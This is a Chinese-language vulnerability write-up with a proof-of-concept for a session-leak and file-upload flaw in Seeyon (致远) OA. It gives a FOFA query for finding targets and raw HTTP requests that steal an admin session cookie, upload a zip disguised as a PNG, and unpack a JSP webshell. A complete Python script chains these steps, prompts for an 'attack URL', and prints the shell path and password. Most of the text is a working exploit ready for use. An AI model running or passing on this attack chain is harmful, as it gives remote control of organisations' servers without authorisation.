# 致远OA Session泄露 任意文件上传漏洞
## 漏洞描述
致远OA通过发送特殊请求获取session，在通过文件上传接口上传webshell控制服务器
## 漏洞影响
> [!NOTE]
>
> 致远OA
## FOFA
> [!NOTE]
>
> title=”致远”
## 漏洞复现
首先要获取管理员cookie
“`js
POST /seeyon/thirdpartyController.do HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 133
Content-Type: application/x-www-form-urlencoded
method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1
“`
> [!NOTE]
>
> 返回包出现 Sset-Cookie 和 a8genius.do 即为成功获取
上传压缩包添加 Cookie上传
“`js
POST /seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host: xxx.xxx.xxx.xxx
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Cookie: JSESSIONID=3495C4DEF87200EA323B1CA31E3B7DF5
Content-Length: 841
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
–59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name=”firstSave”
true
–59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name=”callMethod”
resizeLayout
–59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name=”isEncrypt”
0
–59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name=”takeOver”
false
–59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name=”type”
0
–59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name=”file1″; filename=”test.png”
Content-Type: image/png
PK………………..______
–59229605f98b8cf290a7b8908b34616b–
“`
然后构造请求解压压缩包
“`js
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D
“`
状态码返回500即为上传成功
## 漏洞POC
> [!NOTE]
>
> 脚本在文件目录的 POC中
>
> 其中含有zip压缩包 shell.zip, 如果上传失败更改一下文件名
“`python
# coding: utf-8
import requests
import sys
import random
import time
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: 致远OA \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+——————————————‘)
def POC_1(target_url):
vuln_url = target_url + “/seeyon/thirdpartyController.do”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”,
}
data = “method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1”
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
if response.status_code == 200 and “a8genius.do” in response.text and ‘set-cookie’ in str(response.headers).lower():
cookies = response.cookies
cookies = requests.utils.dict_from_cookiejar(cookies)
cookie = cookies[‘JSESSIONID’]
targeturl = target_url + ‘/seeyon/fileUpload.do?method=processUpload’
print(“\033[32m[o] 目标 {} 正在上传压缩包文件…. \n[o] Cookie: {} \033[0m”.format(target_url, cookie))
files = [(‘file1’, (‘360icon.png’, open(‘shell.zip’, ‘rb’), ‘image/png’))]
headers = {‘Cookie’:”JSESSIONID=%s” % cookie}
data = {‘callMethod’: ‘resizeLayout’, ‘firstSave’: “true”, ‘takeOver’:”false”, “type”: ‘0’,’isEncrypt’: “0”}
response = requests.post(url=targeturl,files=files,data=data, headers=headers,timeout=60,verify=False)
reg = re.findall(‘fileurls=fileurls\+”,”\+\'(.+)\”,response.text,re.I)
if len(reg)==0:
sys.exit(“上传文件失败”)
POC_2(target_url, cookie, reg, headers)
else:
print(“\033[31m[x] 目标 {} 不存在漏洞 \033[0m”.format(target_url))
except Exception as e:
print(“\033[31m[x] 目标 {} 请求失败 \033[0m”.format(target_url),e)
def POC_2(target_url, cookie, reg, headers):
vuln_url = target_url + ‘/seeyon/ajax.do’
datestr = time.strftime(‘%Y-%m-%d’)
post = ‘method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22’ + datestr + ‘%22%2C%22’ + reg[0] + ‘%22%5D’
headers[‘Content-Type’]=”application/x-www-form-urlencoded”
print(“\033[32m[o] 目标 {} 正在解压文件…. \033[0m”.format(target_url))
try:
response = requests.post(vuln_url, data=post,headers=headers,timeout=60,verify=False)
if response.status_code == 500:
print(“\033[32m[o] 目标 {} 解压文件成功…. \033[0m”.format(target_url))
print(“\033[32m[o] 默认Webshell地址: {}/seeyon/common/designer/pageLayout/test10086.jsp \033[0m”.format(target_url))
print(“\033[32m[o] 蚁剑密码: test \033[0m”.format(target_url))
print(“\033[32m[o] 如果目标webshell无法访问，请更换 shell.zip 中的木马名称 \033[0m”.format(target_url))
else:
print(“\033[31m[x] 目标 {} 不存在漏洞 \033[0m”.format(target_url))
except Exception as e:
print(“\033[31m[x] 目标 {} 请求失败 \033[0m”.format(target_url),e)
if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url)
“`
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